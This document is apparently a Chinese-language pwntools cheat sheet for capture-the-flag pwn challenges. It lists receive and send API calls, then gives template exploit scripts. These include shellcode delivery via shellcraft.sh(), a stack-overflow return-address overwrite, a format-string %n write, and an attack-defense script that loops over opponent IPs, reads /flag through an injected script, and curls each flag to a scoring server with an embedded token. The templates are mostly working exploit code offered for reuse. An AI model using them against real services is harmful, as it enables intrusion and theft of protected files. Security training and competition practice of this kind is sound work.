api

  1. 接收数据
  2. recv(n) - 接收任何数量的可用字节
  3. recvline() - 接收数据,直到遇到换行
  4. recvuntil(delim) - 接收数据,直到找到一个分隔符
  5. recvregex(pattern) - 接收数据,直到满足一个与pattern重合的内容为止
  6. recvrepeat(timeout) - 继续接收数据,直到发生超时
  7. clean() - 丢弃所有缓冲的数据
  8. 发送数据
  9. send(data) - 发送数据
  10. sendline(line) - 发送数据加一个换行
  11. 操作整数
  12. pack(int) - 打包发送一个字(word)大小的整数
  13. unpack() - 接收并解包一个字(word)大小的整数

解题模板

  1. from pwn import *
  2. context.terminal = ['tmux', 'splitw', '-h']
  3. #arch "arch64"、"arm"、"i386"、"amd64"
  4. context(arch = 'amd64' , os = 'linux', log_level="debug")
  5. ## 网络
  6. dns = remote('8.8.8.8', 53, typ='udp')
  7. tcp6 = remote('google.com', 80, fam='ipv6')
  8. # 监听
  9. client = listen(8080).wait_for_connection()
  10. # ssh
  11. session = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
  12. io = session.process('sh', env={"PS1":""})
  13. io.sendline('echo Hello, world!')
  14. #pack & unpack
  15. def p(x):
  16. return struct.pack('I', x)
  17. def u(x):
  18. return struct.unpack('I', x)[0]
  19. #p = process('./elf', env={'LD_PRELOAD':'./libc.so.6'})
  20. # EXPLOIT CODE GOES HERE
  21. # debug
  22. def debug(cmd=""):
  23. gdb.attach(p, cmd)
  24. pause()
  25. # file io
  26. write('filename', 'data')
  27. read('filename'lenth)
  28. r.send(asm(shellcraft.sh()))
  29. r.interactive()

栈溢出

  1. from pwn import *
  2. offset = 0x88
  3. r = remote("111.198.29.45", 34012) #连接指定IP及端口,题目给定
  4. payload = 'A' * offset + 'a' * 0x8 + p64(0x00400596)#发送数据,输入数据溢出,并覆盖,返回到目标位置
  5. r.recvuntil("字符串") #运行到字符串位置停下
  6. r.sendline(payload) #发送 payload
  7. r.interactive() #交互

格式化字符串

  1. from pwn import *
  2. p = remote('111.200.241.244', '52927')
  3. p.recvuntil("代码中的字符串")
  4. p.send('')
  5. p.recvuntil("代码中的字符串")
  6. payload=p32(溢出点)+"aaaa填充字符串个数%偏移量$n"
  7. p.send(payload)
  8. p.interactive()

AWD模板

  1. from pwn import *
  2. context.arch='amd64'
  3. # context.log_level='debug'
  4. def debug(addr,PIE=True):
  5. if PIE:
  6. text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
  7. gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
  8. else:
  9. gdb.attach(p,"b *{}".format(hex(addr)))
  10. def main(host,port=16957):
  11. global p
  12. if host:
  13. p=remote(host,port)
  14. else:
  15. p=process("./pwn")
  16. # gdb.attach(p)
  17. debug(0x00000000000739D)
  18. code = """string readfile(string name);string lnk(string src, string dest);string print(string x);lnk("/flag", "/tmp/y");print(readfile("/tmp/y"));"""
  19. p.recvuntil("size: ")
  20. p.sendline(str(len(code)+2))
  21. p.recvuntil("Give me your script(same size): ")
  22. p.sendline(code)
  23. try:
  24. p.recvuntil("flag",timeout=0.5)
  25. flag = "flag" + p.recvuntil("\n",timeout=0.5)
  26. info(flag)
  27. p.close()
  28. return flag
  29. except Exception,err:
  30. print err
  31. p.close()
  32. return "bad_luck"
  33. p.interactive()
  34. if __name__ == '__main__':
  35. # libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
  36. # main("123.57.209.176")
  37. # main("172.20.0.27")
  38. ips = [i.strip() for i in open("ip.txt","rb").readlines()]
  39. while(1):
  40. for ip in ips:
  41. try:
  42. sleep(1)
  43. flag = main(ip)
  44. # flag = main(args["REMOTE"])
  45. info(flag)
  46. url = 'https://172.20.1.1/Answerapi/sub_answer_api'
  47. token = 'token78s8gbv55k4b03'
  48. cmds = 'curl -k {} -d "answer={}&playertoken={}"'.format(url,flag.strip(),token)
  49. print cmds
  50. if 'flag' in cmds:
  51. os.system(cmds)
  52. except Exception,err:
  53. p.close()
  54. print err
  55. continue
  56. sleep(30)